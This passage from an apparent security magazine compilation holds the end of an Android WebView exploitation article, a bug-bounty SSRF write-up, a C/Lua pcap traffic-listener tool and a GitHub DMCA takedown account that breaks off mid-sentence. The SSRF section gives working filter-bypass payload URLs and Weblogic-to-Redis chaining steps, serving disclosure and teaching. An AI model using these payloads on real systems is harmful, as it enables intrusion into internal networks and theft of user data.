进入 shellcode 中实现的简化版 linker，直接将 ELF 文件内容放在 RWX 内存中重定位处

理后，执行其 so_main 导出函数。 

JNI 基础 

Android 中 JVM 和 C/C++ 开发的本地代码互相调用，可以使用 JNI（Java Native 

Interface）。在 System.loadLibrary 载入一个动态链接库之后，JVM 会调用 ELF 中导出的 

JNI_OnLoad(JavaVM *jvm, void *reserved) 函数，在这里可以做一些初始化的工作，以及

使用 JNIEnv 的 RegisterNatives 方法动态将 Java 方法与本地代码绑定。 

本地代码为 JNI 提供的方法的第一个参数是 JNIEnv 的指针，通过这个上下文可以访问 

JVM 当前加载的类，通过反射机制调用 Java 层的功能。例如如下 Java 代码： 

 

使用 JNI 实现如下： 
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正常情况下，JNIEnv 是系统初始化并传给 native 方法的。但在开发利用载荷的时候不

是使用标准的方式加载链接库，因此需要使用一些私有 API。如果代码直接运行在 App 进程

中，可通过 android::AndroidRuntime::getJNIEnv 直接获取，或者 

JNI_GetCreatedJavaVMs 获得当前进程的唯一 JVM 实例后调用其 GetEnv 方法。如果使

用独立的可执行文件，可通过 JNI_CreateJavaVM 创建一个新的 JVM。 

Android 调用 JVM 的一些问题 

Android N 对 NDK 链接的行为做了变更，禁止链接到私有 API，包括上文提到的 JVM 

相关函数。一个非常简单的绕过方式是向 dlopen 传入空指针作为的文件名，dlsym 将会在

所有已加载的共享对象中查找符号。 
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另外一个坑是，在 ART 下，一个可执行文件如果要调用 JNI_CreateJavaVM 创建 JVM，

那么它必须导出 InitializeSignalChain、ClaimSignalChain、UnclaimSignalChain、

InvokeUserSignalHandler、EnsureFrontOfChain 这几个回调函数，否则会在 logcat 里看

到大量类似"InitializeSignalChain is not exported by the main executable." 的提示，然

后 SIGABRT。 

AOSP 对应的代码如下，可以看到在输出这行日志之后就会调用 abort()： 

https://android.googlesource.com/platform/art/+/master/sigchainlib/sigchain_d

ummy.cc 

解决方案非常简单，只要在源文件里创建这几个对应的函数，代码留空，然后加上 

JNIEXPORT 宏设置为导出符号即可： 

 

3 小结 

WebView 在 Android 应用开发中应用广泛，功能复杂，是颇为理想的攻击面。点开一

个链接或者扫描一个二维码就会执行恶意代码并不仅仅是都市传说。开发者在使用 WebView 

的时候不仅要注意老生常谈的各种 getSettings()、javascriptInterface 点，还要注意防范通

过扩展接口暴露的攻击面和安全问题。 

参考资料 

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Dispositi

on； 

https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execu

tion-using-arbitrary-file-writes-and-multidex-applications/； 

http://d3adend.org/blog/?p=851； 

https://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/functions.html ； 

https://github.com/secmob/BadKernel； 

https://android.googlesource.com/  
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【培训】CISP-PTE 认证培训开班！  
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【安全运营】 

那些年玩过的 SSRF 利用姿势 

作者：补天精英白帽子蓝冰 

原文来源：【补天精品漏洞】本篇文章首发于安全客季刊 

漏洞梗概 

洞主表示该漏洞其实算不上很精品，就是普通的 SSRF 简单绕过到探测内网 Zabbix 应用

并利用 SQL 注入证明危害的这么一个漏洞, 所以为了避免被白帽子大佬们吐嘈, 这里按照时

间轴写一下我对涉及 SSRF 漏洞的 ABC 三家公司挖掘 SSRF 漏洞并多次绕过多次刷钱的过程:)

和一些 SSRF 挖掘心得 

PS: 由于现在漏洞详情作者也看不了所以这里用文字且靠回忆尽可能的详细说明 

1. A 公司某处 SSRF 绕过过滤可 http 内网漫游可获取全网用户信息 

漏洞 URL:  

http://x1.abcd.com/aaaa/bbbb.html?host=http://123.abcd.com/api/xxxx 

完全回显型 

尝试 ： 

http://x1.abcd.com/aaaa/bbbb.html?host=http://1.1.1.1/api/xxxx 失败 

…… 

http://x1.abcd.com/aaaa/bbbb.html?host=http://123.abcd.com:1@1.1.1.1/api/xxxx 成功 

只支持 http https 协议 所以就不能利用 redis getshell 这种姿势了 后面的/api/xxxx 发

现也不能更改 

于是将计就计利用 URL 重写把/api/xxxx 路由到 index.php 利用.htaccess 文件 

其实当时直接 ： 

http://x1.abcd.com/aaaa/bbbb.html?host=http://123.abcd.com:1@1.1.1.1?/api/xxxx 

应该也是可以的 只不过当时脑子里直接想到的就是 URL 重写 2333 

然后在 index.php 里写 302 跳转 ： 

header(“Location: $_GET[url]”); 

然后这么构造 ： 

http://x1.abcd.com/aaaa/bbbb.html?host=http://123.abcd.com:1@1.1.1.1/api/xxxx&url=http://10.10.10.10/xxxx
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x 

这个 SSRF 漏洞点会把你传的其他参数也会拼接到新的 URL 并请求 

接下来需要寻找有趣的内网应用, 我当然选择 Github 啊 问为什么不去探测内网?只能去

扫 http 协议, 和 dict , gopher 协议直接 shell redis 相比太麻烦了 

经过多种组合搜索 找到一个看上去很有趣的内网接口 ： 

http://api.abcd.com/userinfo.html?uid=123 

后面的不说也知道了遍历 userid 可获取所有用户信息, 不过后面厂商说这个接口是公开

的,而在后来我抓到了这个 URL ： 

http://x1.abcd.com/aaaa/bbbb.html?host=http://api.abcd.com/userinfo.html&uid=123 

看样子确实是公开的, A 公司又一处 SSRF 可 http 内网漫游可获取全网用户信息 

我没记错的话这个应该是移动端的域名 上面第一个是 PC 域名 其实利用都是一样的. 

距离第一个漏洞过了 10 天后再次提交的防止耍赖 混好漏洞平台 你懂的:) ： 

http://m.x1.abcd.com/aaaa/bbbb.html?host=http://123.abcd.com:1@1.1.1.1/api/xxxx&url=http://10.10.10.10/xx

xxx 

这个就这样 

2. B 公司某处 SSRF 基于时间的盲测到 getshell 入内网 

这个是 Weblogic SSRF 的利用 

这里主要写一下 探测内网 redis 6379 端口的方法 

经过多次 fuzz 测试总结了一条较稳定探测的方法 当然并不是百分百可用 还要看目标的

网络环境 不过稳定率还是可以的 

先 SSRF 访问 http://10.10.10.10:6379 http 协议 

如果在正常时间内给你响应证明这个 IP 是存活的 

如果超时了就不存活就没必要继续了 

假设 IP 是存活的接着 SSRF 访问 https://10.10.10.10:6379 https 协议 

如果在正常时间内给你响应证明该存活 IP 没有开放 6379 端口 

如果一直等待到超时证明开放了 6379 端口 

简单写下代码是这样的 
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至于找出内网 IP 段方法有很多 

1. 域名解析没有内外网隔离可以爆破出一些内网 IP 

2. Github 上搜索对于较大的厂商找出内网信息的几率会很大 

3. 可以把扫到的子域名过一遍敏感信息扫描 从中找出泄露的内网信息 

4. 不过首先还是要去逛一圈各大漏洞平台如某云的镜像站搜索历史漏洞  

诸如此类,方法太多了 

有了 IP 段,找出了内网 redis 应用,接下来就是利用了 

Weblogic 支持 header CRLF 注入所以 payload 构造我就不写了太麻烦大家都懂 

这里再说一个 redis 的语句 debug sleep 5 表示延迟 5 秒 

如果你想获得一步一步慢慢深入的快感的话我推荐用这个语句来 判断一下目标 redis 是

否是未授权访问 

当然你嫌麻烦的话直接把扫出的 redis 全怼一遍反弹 payload 也是可以的 

3. A 公司两处 SSRF 第二次绕过 

又回到 A 公司啦 距离第一个漏洞过了 20 天 发现修复的差不多了 继续绕过 ： 

http://x1.abcd.com/aaaa/bbbb.html?host=http://1.1.1.1abc.abcd.com/api/xxxx 

发现一直在加载说明后端请求了这个 URL 但因为域名解析不到 IP 所以一直加载到超时 

然后想到在 1.1.1.1 和 abc.abcd.com 中间加个符号应该也没问题吧,之前就是利用@符号

绕过的发现修复后不能带这个符号了 

于是想到其他两个 URL 截断字符 问号(?)和井号(#) ： 

http://x1.abcd.com/aaaa/bbbb.html?host=http://1.1.1.1?abc.abcd.com/api/xxxx 

http://x1.abcd.com/aaaa/bbbb.html?host=http://1.1.1.1%23abc.abcd.com/api/xxxx 

均成功访问 http://1.1.1.1 
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这里可以看出后端依然只是简单查找了是否包含.abcd.com 而没有限制所有特殊符号 

也没有对 URL 进行 parse_url 解析拆分 如果做了解析拆分上面两个解析出的 host 都会

是 1.1.1.1 然后再做判断的话是没问题的(后来他们做了解析拆分这个后面再说) 

接下来的姿势就跟上面两个一样了不多说 

4. A 公司可回显 SSRF 读取内网敏感接口 

这回是 A 公司的其他 SSRF 漏洞点了 

在一个文件上传处上传了一个图片 成功后发现有一个旋转角度按钮 触发这个按钮并抓

包发现了 SSRF 点 

漏洞 URL ： 

http://x2.abcd.com/upload/uploadxxxxxxx?picUrl=http://123.abcd.com/xxxxx.jpg&SpinAngle=90 

表示从 picUrl 远程下载图片到本地并根据 SpinAngle 角度值进行旋转 生成新的图片并

返回一个新的图片 URL 

初步测试 ： 

http://x2.abcd.com/upload/uploadxxxxxxx?picUrl=http://1.1.1.1/&SpinAngle=90 

远程 VPS 接收到了请求 证明没有防护 

但服务器返回了旋转图片失败 接着在 VPS 上放置一个正常图片再次 SSRF ： 

http://x2.abcd.com/upload/uploadxxxxxxx?picUrl=http://1.1.1.1/xxxxx.jpg&SpinAngle=90 

这次正常返回了新的图片 URL 

到这里以为是一个 SSRF 盲注点因为正常的 HTML 代码肯定是会旋转失败的 

然后第二天早上洗漱时突然想起 SpinAngle 这个参数 这个参数表示的是旋转的角度值 

如果把它构造成-90 ,0 ,999 等数字会不会就不进行旋转了直接生成新的 URL ： 

http://x2.abcd.com/upload/uploadxxxxxxx?picUrl=http://1.1.1.1/&SpinAngle=-90 

然后去尝试了一下果然返回了新的 URL 接着 curl 这个图片 URL 返回了远程 VPS 上的

首页 HTML 代码 

5. A 公司 SSRF 回显 

又是新的一个 SSRF 点 这个漏洞点是在一个小相机标记那里找到的比如百度的 
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图中的相机 这种类似功能基本上都会支持远程 URL 图片识别 没什么新意主要就是写一

下 SSRF 常见的几个功能点 

URL ： 

http://x3.abcd.com/webxxx/xxxxxx/XXXXXXXByUrl?url=http://1.1.1.1/111.jpg 

6. C 公司双重 SSRF 可攻击内网 redis 

这个就比较有意思了, 首先我定位到了 ueditor For JSP 版的一处 SSRF 

详见: https://www.secpulse.com/archives/40977.html  

漏洞 URL ： 

http://aa.cccc.com/ueditor/jsp/getRemoteImage.jsp?upfile=http://1.1.1.1/?1.jpg 

从文章可知 ueditor 的 JSP 版除了正常图片外 是不会回显的也就是只能盲注 而且不支

持非 http https 协议 且仅限 GET 请求 

这种情况下可以攻击内网并 getshell 的 也就 st2, jboss 等应用了 而且还要有五百万的

人品 

随即转换思路通过 SSRF 套 SSRF 的方式尝试在内网寻找一个支持 dict 或 gopher 协议的

SSRF 点 比如内部 Discuz 等 CMS 或者支持 CRLF 注入的 Python SSRF 和 Weblogic SSRF

以此提升 SSRF 的可利用面积 

这里我选择了 Weblogic 因为请求 http://aa.cccc.com/xxxxxxxxx 时出现了很熟悉的

404 页面 

https://www.secpulse.com/archives/40977.html
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这样就基本确定是 Weblogic 了 

当然在外网访问 7001 是不通的 所以就需要 ueditor 的 SSRF 来配合访问了 

构造请求 ： 

http://aa.cccc.com/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1:7001/uddiexplorer/home.gif 

返回新的图片 URL 访问得到 Weblogic 的 home.gif 

 

证明开放了 7001 端口且存在 uddiexplorer 目录 ： 

http://aa.cccc.com/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1:7001/uddiexplorer/SearchPublicRegi

stries.jsp?operator=http://10.10.10.10:6379&rdoSearch=name&txtSearchname=1&txtSearchkey=&txtSearchfor=

&selfor=Business+location&btnSubmit=Search 

至此后面的就是基于时间探测和利用了 

这里就主要写一下 SSRF 比较新奇的思路了 从单纯的 http 协议提升到可攻击 redis 的利

用环境 

可以攻击 redis 就基本十拿九稳进内网了,还没见过比较大点的厂商不用 redis 缓存的:) 

7. A 公司 SSRF 全面绕过 

上面说过后来他们做了拆分解析 所以 ： 

http://x1.abcd.com/aaaa/bbbb.html?host=http://123.abcd.com:1@1.1.1.1/api/xxxx 

http://x1.abcd.com/aaaa/bbbb.html?host=http://1.1.1.1?123.abcd.com/api/xxxx 

http://x1.abcd.com/aaaa/bbbb.html?host=http://1.1.1.1%23123.abcd.com/api/xxxx 
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均失效 因为解析出 URL 后 HOST 值都是 1.1.1.1 很明显会被拌 

参考干货: 

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-

Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf  

利用 parse_url 拆分函数和最终请求时的差异进行绕过 

给出 payload ： 

http://x1.abcd.com/aaaa/bbbb.html?host=http://1.1.1.1%23@123.abcd.com/api/xxxx 

 

由于 curl 函数和 parse_url 函数在井号符号上的处理方法不一样导致绕过漏洞的产生 

在 parse_url 中井号被当作@前面的正常的认证字符串 因此 HOST 为 123.abcd.com 合

法 

当 curl 请求时井号被当作截断符导致真正被请求的其实是 http://1.1.1.1 

PHP 上是这样的 其他 JAVA 啦这种可能会有出入 不过目标是 JAVA 的网络请求包发现这

种绕过方法是可以用的 

PDF 中也给出了各种环境下的表格数据 

至此再一次被绕过 

总结 

[+]如果承受不了巨大的维护成本和高风险, SSRF 形式的功能还是别开发出来的好, 表示

SSRF 是本人唯一感觉不知道怎么防护的类型漏洞, 千变万化;维护成本太大;心累; 

[+]对于挖掘 收集 URL 是很重要的先找出 SSRF 形式的功能 URL 在谈绕不绕过的问题 

[+]结合主动爬虫爬取和被动爬取收集 URL 当然如果你的主动爬取牛逼的不要不要的被

动爬取就免了哈哈 

[+]SSRF 泛滥点还是图片处理相关的会多一些可以多关注这方面 

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
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[+]以上仅仅是我在挖掘 SSRF 漏洞和玩补天当中的一些小思路和小经验 跟网上的 SSRF

科普;SSRF 详解肯定比不上 还是希望能帮到一些刚入坑玩 SSRF 的白帽子们和补天的新手们) 

欢迎对本篇文章感兴趣的同学添加补天漏洞响应平台公众号二维码，一起交流学习 
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基于 lua 插件化的 pcap 流量监听代理 

作者：糖果 

原文来源：【新浪安全中心】 https://mp.weixin.qq.com/s/bGAey84SxsDhAuo-3107Lg  

1.序 

我们在实际工作中，遇到了一个这样的用例，在每天例行扫描活动中，发现有些应用系统

不定期的被扫挂，因为我们不是服务的制造者，没有办法在不同的系统里打印日志，所以我们

就想用一个工具来获取特定服务的输入数据流。我们如果不在 IDS 上看应用的服务，可以直

接针对服务所在服务位置，针对应用端口进行，有针对性的监听分析。 

Tshark 和 tcpdump、windump 这些监听工具提供了比较丰富的命令行参数来监听流量

数据。wireshark、burpsuite 这些工具也提供相应的 lua、python 脚本的机制用于去处理监

听的流量数据。但有些场景我们不会使用体积这么大的工具，命令行方式的监听工具又不能加

入更多数据处理逻辑，细化对数据的操作。实际上我们可以自制一个小型的工具，做流量监听，

是除了命令联合 shell 脚本，、wireshark、suricata 等插件开发的另一种形式。现在很多的监

听工具都是基于 pcap 的，我们基于 pcap 底层开发一个监听工具。 

pcap 支持 C、python 两种开发方式，基于 C 和 pcap 库的开发效率比 pyton 的性能高，

这样在高性能的场景 python 就不太适合，但是从开发效率角度看，用 python 开发比 C 又要

快很多，毕竟用 C 开发工具，需要进行边编译，一是有技术门槛，另外的确维护相对比较麻

烦。 

鉴于以上的原因，既要性能相对够高一些，又能便于维护，在命令行这个粒度上，又可以

嵌入自己数据处理逻辑，定制化自己的运行时序，因些，我们选择了 C 和 LUA 配合的这种方

式。实施方面，就是用 C 来处理 pcap 的主件循环，接受 pcap 监听的 buffer 数据。然后，

将监听的数据通过 C 与 LUA 之间的通信，将数据推送给 LUA。 

数据交给 LUA 之后，如何管理数据的复杂性就靠 LUA 的设计方式来解决，因为流量数据

是文本流式的，程序原型就想到了 pipeline 管道的方式进行组织管理。 

有了管道的方式，我们就可以在一个监听数据流上，叠加各种插件进地监听数据的处理，

可以把复杂的业务，拆解成若干个小的插件处理单元，写作完成任务。演示原型代码的 C 部

分是很少的，主要的任务是获取 buffer 的数据，推送 lua，代码如下： 

 

https://mp.weixin.qq.com/s/bGAey84SxsDhAuo-3107Lg
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2.PCap 的 C 语言实现 ： 

#include <pcap.h>   

#include <time.h>   

#include <stdlib.h>   

#include <stdio.h>   

#include <string.h> 

#include <lua.h> 

#include <lauxlib.h> 

#include <lualib.h> 

lua_State* L = NULL; 

void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)   

{  

  L = lua_open(); 

      luaL_openlibs(L); 

  if (luaL_loadfile(L, "buffer.lua") || lua_pcall(L, 0,0,0)) 

      printf("Cannot run configuration file:%s", lua_tostring(L, -1)); 

  lua_getglobal(L, "buffer"); 

  char *buffer = NULL; 

  buffer = (u_char*)malloc(pkthdr->len); 

  memcpy(buffer, packet, pkthdr->len); 

  lua_newtable(L);  

  int idx = 0; 

  for (idx=1; idx < pkthdr->len; idx++) { 

      lua_pushnumber(L, idx);   

      lua_pushnumber(L, packet[idx]);   

      lua_settable(L, -3);   

  } 

  lua_pcall(L, 1,0,0); 

  int * id = (int *)arg;   

  printf("id: %d\n", ++(*id));   

  printf("Packet length: %d\n", pkthdr->len);   

  printf("Number of bytes: %d\n", pkthdr->caplen);   

  printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));    

     

  int i;   

  for(i=0; i<pkthdr->len; ++i) {   

    //printf(" %02x", packet[i]);   
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    if( (i + 1) % 16 == 0 ) {   

//printf("\n");   

    }   

  }   

  printf("\n\n");   

  free(buffer); 

  buffer = NULL; 

}   

   

int main()   

{   

  char errBuf[PCAP_ERRBUF_SIZE], * devStr;   

     

  /* get a device */   

  devStr = "eth1"; 

     

  if(devStr)   

  {   

    printf("success: device: %s\n", devStr);   

  }   

  else   

  {   

    printf("error: %s\n", errBuf);   

    exit(1);   

  }   

     

  /* open a device, wait until a packet arrives */   

  pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf);   

     

  if(!device)   

  {   

    printf("error: pcap_open_live(): %s\n", errBuf);   

    exit(1);   

  }   

     

  /* construct a filter */   

  struct bpf_program filter;   
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  pcap_compile(device, &filter, "dat port 80", 1, 0);   

  pcap_setfilter(device, &filter);   

     

  /* wait loop forever */   

  int id = 0;   

  pcap_loop(device, -1, getPacket, (u_char*)&id);   

     

  pcap_close(device);   

   

  return 0;   

}   

C 部分将监听的流量 buffer 的数据，以数组的形式给 lua，在 lua 中 array 其实就是一个

table，我们在 lua 部分重组了一下数组数据，生成了一个字符串，代码如下 : 

buffer = function(tbl) 

    local tmpstr='' 

    for k,v in pairs(tbl) do 

        tmpstr = tmpstr..string.char(v) 

    end 

    io.write(tmpstr,"\n") 

end 

编译 C 程序就靠下面的命令行，后期我们也可以生成一个 makefile 简化编译流程 。 

gcc watch.c -I/usr/include/lua5.1 -ldl -lm -llua5.1 -lpcap -o watch 

为了方便 ，我们写了一个 Makefile ： 

LUALIB=-I/usr/include/lua5.1 -lpcap -ldl -lm -llua5.1  

 

.PHONY: all win linux 

 

all: 

        @echo Please do \'make PLATFORM\' where PLATFORM is one of these: 

        @echo win linux 

 

win: 

 

linux: watch 

 

watch : watch.c 
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         gcc $^ -o$@ $(LUALIB)  

clean: 

        rm -f watch  

3.Lua 与管道插件设计 

为什么要使用管道插件的方式拆分和组织模块？以什么形式传送数据变成了一个手艺,解

耦最直接的方法是分层，先把数据与为业分开，再把业务代码和共通代码分开。数据层对我们

系统来说就是规则，系统使用的共通代码都封装到了框架层，而系统功能业务共通的部分，以

插件为机能单位分开并建立联系。数据是面象用户的，框架是面向插件开发者的， 插件的实

现就是机能担当要做的事情，不同的插件组合相对便捷的生成新机能，也是插件便利的益处与

存在的意义。 

因为管道中的插件是会被顺序调用的，因此插件模板中的 init 和 action 函数也会被正常

的回调，而这些回调函数在被调用时，管道系统会把流数据 push 给单元插件，而接到数据流

的插件在接到回调 push 过来的数据后，进行相应的判断筛选，将编辑后的数据通过 sink 插

槽 push 给后面的插件，直到管道尾端的插件报警或是记日志，一次管道启动运行的时序就结

束了。 

 

这是一个稍微图型化的 pipeline 示意图： 

我们用代码说明管道的实现更直观，代码如下 ： 

local pipeline = require "pipeline" 

local status = pipeline:new { 

    require"plugin.source_plugin", 

    require"plugin.filter_plugin", 

} 

return pipeline 
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字符型式的管道图示 ： 

+------------------+     +----------------+    

| source-plugin |     |  filter-plugin  |       

                      src - sink              src  

+------------------+     +-----------------+      

我们通过 LUA 特有的类组织方式构建了一个顺序的管道数据结构，管道中的插件是按声

明的先后顺序来执行的。pipeline 管道程序的主要逻辑就是管理回调函数的调用，代码如下 ： 

local Pipeline = {} 

local Pobj = {} 

function Pipeline.output(self, list, flg) 

    if flg == 0 then 

        return  

    end 

    for k,v in pairs(list) do 

        print(k,v) 

    end 

end 

function Pipeline.new(self, elements) 

    self.element_list = elements 

    self:output(elements, 0) 

    return PObj 

end 

function Pipeline.run(self, pcapdata) 

    local src = { 

        metadata= {  

            data= pcapdata, 

            request = { 

                uri="http://www.candylab.net" 

            } 

        } 

    } 

    for k,v in pairs(self.element_list) do 

        v:init() 

        v:push(src) 

        local src, sink = v:match(pcapdata) 

        if type(sink) == "table" then 
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            self:output(sink, 0) 

        end 

        src = sink 

    end 

end 

return Pipeline 

插件抽像出了几个特的函数给开发用户，时序是事先设计好的，最主要的数据和回调也明

确了，主要是 Pipeline.run 统一回调了几个模板的函数，init、push、match 函数，这样顶

层的设计几乎是固定的，之后所有的业务逻辑都在模板了，按这个时序执行，而插件之间的数

据传递依靠的就 src 和 sink 这个插件。 

基于管道插件的设计特点就是之前的插件会把源头的数据推送给后面的插件，如果管道中

的数据在之前被编辑过，会体现在后面的插件接受数据后看见变化，具体的实现，代码如下 ： 

local source_plugin = {} 

local src = { 

   args="source args" 

} 

local sink = { 

    name = "source_plugin", 

    ver = "0.1" 

} 

function source_plugin.output(self, list, flg) 

    if flg == 0 then 

        return 

    end 

    for k,v in pairs(list) do 

        print(k,v) 

    end©  

end 

function source_plugin.push(self, stream)  

    for k,v in pairs(stream.metadata) do 

        self.source[k]=v 

    end  

end 

function  source_plugin.init(self) 

    self.source = src 
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    self.sink = sink 

end 

function source_plugin.action(self, stream)  

end 

function  source_plugin.match(self, param) 

    self.sink['found_flg']=false 

    for kn,kv in pairs(self.source) do 

         self.sink[kn] = kv 

    end 

    self.sink['metadata'] = { data=self.source['data'] } 

    self:action(self.sink) 

    return self.source, self.sink 

end 

return  source_plugin 

source_plugin 是一个典型的插件模板，所有被 pipeline 回调函数都一目了然，但对于

插件的使用来说，可以完全不用关心内部细节，只关心一个函数就行了，就 action(self, stream)

这个函数，能提供的所有数据都已经被保存到 stream 这个数据结构里了，对监听的所有后期

处理都从这里开始。如果创建一个新插件呢？就是复制源文件改一个名就行了，创建了一个

filter_plugin 的插件，代码如下 ： 

local filter_plugin = {} 

local src = { 

   args="filter args" 

} 

local sink = { 

    name = "filter_plugin", 

    ver = "0.1" 

} 

function filter_plugin.output(self, list, flg) 

    if flg == 0 then 

        return 

    end 

    for k,v in pairs(list) do 

        print(k,v) 

    end 

end 

function filter_plugin.push(self, stream)  
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    for k,v in pairs(stream.metadata) do 

        self.source[k]=v 

    end  

end 

function  filter_plugin.init(self) 

    self.source = src 

    self.sink = sink 

end 

function filter_plugin.action(self, stream)  

    io.write(stream.data, "\n") 

end 

function  filter_plugin.match(self, param) 

    self.sink['found_flg']=false 

    for kn,kv in pairs(self.source) do 

         self.sink[kn] = kv 

    end 

    self.sink['metadata'] = { data=self.source['data'] } 

    self:action(self.sink) 

    return self.source, self.sink 

end 

return  filter_plugin 

生成了这个文件，我们在管理里加入这个插件就 OK 了，代码 ： 

local pipeline = require "pipeline" 

local status = pipeline:new { 

    require"plugin.source_plugin", 

    require"plugin.filter_plugin", 

    require"plugin.syslog_plugin", 

} 

return pipeline 

管道图示 ： 

+---------------+       +-----------------+     +------------------+ 

| source-plugin |     |  filter-plugin  |     | syslog-plugin |   

                  src - sink                  src - sink                .... 

+---------------+       +-----------------+     +------------------+ 

我们在这个管道图示的后面，看到多了一个 syslog-plugin 的插件，这个插件追加的功能

就是将前面插件处理的流数据，通过 syslog 协议，将数所存到远端的 syslog 服务器上，集中
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到大数据日志中心进行分析展示，这样这个程序就是一个简单的监控代理的模型。下面我们将

程序过行起来，看一下执行的效果。 

4.应用实例  

当你取得了流量数据后，理论上我们想干什么，由我们的想象力决定，在实际的应用场景

中，我们像不深入一个应用的部分，就想得到这个应用的输入数据，比如这个应用是一个 HTTP 

SEVER，Openrety 服务，我们能不能通过启动这个监听程序，来取得对某个 nginx 服务的用

户请求的 agent 数据呢，其实这个演示程序可以做到，我们构造一个简单的请求 ： 

curl --user-agent "pcap testcase" www.lua.ren 

然后我们，启动这个脚本程序 ： 

./watch 

 

我们只是在 flter-plugin 这个 lua 插件中，对 action()回调函数，添加了一个简单的处理，

就捕获到了 User-Agent 的信息含有"pcap"的数据 ： 

function filter_plugin.action(self, stream)  

    io.write(stream.data, "\n") 

    local flg = string.find(stream.data, "pcap") 
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    if flg then  

        print("###########[ OK ]#############") 

    end  

end 

5.总结 

实际上我们通过把流量数据转发给 Lua，让 Lua 处理更高级的数据检索需求，在实际的

工作中，有些应用的访问者会给出非正常的垃圾信息。如果某些应用输入脏数据，直接会造成

程序崩溃，程序又不输出日志，这种机制的流量监听就会有应用场景了，比方说，我们进行大

量的扫描行为了，会发出一些某些程序之前预料之外的数据，为了还原是具体那条扫描把程序

弄挂了，我们就可以灵活的写一个 lua 插件，捕获脏数据。 

这程序只是一个抛砖引玉，我们直接通过 C 加 Lua 的方式，灵感来自至 Nginx + lua ,  就

是现在流行的 openresty 服务器，又可以用到 C 的高性能，又使用 Lua 提高了后续处理的灵

活性。如果要处理更大流量的单机流量监听，应该后续加入环形 buffer 缓存数据，如果直接

将日志数据 syslog 到远端口的 syslog 服务上，我们就可以使 lua 开发一个插件，做 syslog

转发就好，这就是当时考虑使用 lua 管道设计做这个实验工具的目地。 

现在我们做的工作就类似是，让 tcpdump 支持 lua 插件扩展。 

文中提到的代码，放到了 Github 上： 

https://github.com/shengnoah/riff  

 

新浪 SRC 网址：http://sec.sina.com.cn  

 

https://github.com/shengnoah/riff
http://sec.sina.com.cn/
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探索新思路——记一次 Github 项目被 fork 后的删除经历 

作者：队长别开枪是我啊@唯品会安全应急响应中心 

原文来源：【唯品会安全应急响应中心】

https://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=2652278188&idx=1&sn=6099

b648d0ac26235b8a1981613b002e   

事件背景 

相信经常使用 Github 平台来托管程序代码的同学可能都会遇到自己项目被未授权 fork

走的情况，本人最近就遭遇了这样的情况。 

有同事因为某种原因上传了含有大量公司信息的源代码，安全部发现之后虽然删除了自身

的 repo，但在此之前已经被 Github 上某个疑似机器人账户 fork 走了一份。我们试图联系这

个账户，果然，这个机器人账户并没有反馈我们消息，考虑再三，我们决定尝试采用以下方法

解决这个问题——寻求 Github 官方的 DMCA 删帖帮助。 

准备工作 

首先需要了解 Github 的“删帖政策”：

https://help.github.com/articles/dmca-takedown-policy/ 

这里提供了 Github 官方 DMCA Takedown 的解释和其作用——DMCA，即 Digital 

Millennium Copyright Act（数字千年版权法案），它为互联网服务提供商的内容生成用户提

供了一种版权保护机制，DMCA Takedown 使其用户可以使用 DMCA“删除通知”来向 Github

官方寻求必要的帮助，例如要求删除被他人非授权获取的原创作品。 

上述地址还提到了遭遇错误删除的恢复政策，即 DMCA“反通知”，由于不是本篇的重点，

这里就不展开描述了。下面进入正题。 

了解了官方政策背景，下一步就要执行具体操作，时间不等人啊…… 

处理过程 

了解 DCMA Takedown Notice 规则 

寻求 Github 有关 DCMA Takedown 的官方支持需要严格遵循其规则并且耐心等待，毕

竟是免费平台，而且人家的运营人员一般也不加班。 

相关指南在此

https://help.github.com/articles/guide-to-submitting-a-dmca-takedown-notice/ 

https://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=2652278188&idx=1&sn=6099b648d0ac26235b8a1981613b002e
https://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=2652278188&idx=1&sn=6099b648d0ac26235b8a1981613b002e
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根据指南末端的提示，提交官方支持删除请求的方式有三种 

1、直接在页面提交帮助请求 https://github.com/contact； 

2、通过向 support@github.com 及 copyright@github.com（若涉及版权纠纷）发送

e-mail； 

3、通过向图中地址寄送信件。 

 

 考虑到是以公司身份向 Github 寻求支持，而第 3 种寄信的方式过于原始和缓慢，因此

选择 e-mail 即方式 2。 

在撰写邮件正文之前，我们必须仔细阅读 DMCA Takedown Notice Guide 中的 Before 

You Start 章节，严谨和真实的版权要求以及规范的邮件书写是应具备的好习惯，同时也有助

于快速解决问题。 

撰写邮件 

了解以上事项之后，就可以按照指南中 Your Complaint Must…章节的顺序撰写 DMCA 

Takedown Notice 邮件，以下仅为参考示例，谢绝转存： 
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严格遵循 Github DMCA 移除指南要求的顺序撰写申请是很有必要的，但措辞上，大家

可根据具体情况适当调整，表述尽量简洁清晰。 

英文书写不是很熟练的朋友，这里推荐强大的谷歌翻译 https://translate.google.cn/ 

这里需要注意的是，如果采用手写签名的方式提交申请，还需要把邮件正文打印出来签字

后，扫描成 pdf 作为附件一起发送。 

然后，就可以坐等官方的回复邮件了。 

得到答复 

• 三个工作日后得到回复，被 fork 的项目已经移除啦，如下图所示： 

  

在此之后，可以通过访问相应地址确认希望删除的项目是否还存在，同时，Github 官方

也会在 https://github.com/github/dmca 同步更新所有 DMCA 的处理记录。 

在这里必须要感谢 Github 和其开发、运营者为广大用户提供了开放、便捷和规范的代码

托管平台，以及公正有效的服务支持。 

最后补充两点注意事项 

企业邮箱的黑名单机制可能会屏蔽陌生公司邮件，或将其置入垃圾箱，建议在发送邮件之

后将 support@github.com 及 copyright@github.com 加入白名单； 

邮件正文中可能会多次出现企业或个人的身份信息，如果不希望在 DMCA 汇总记录中展

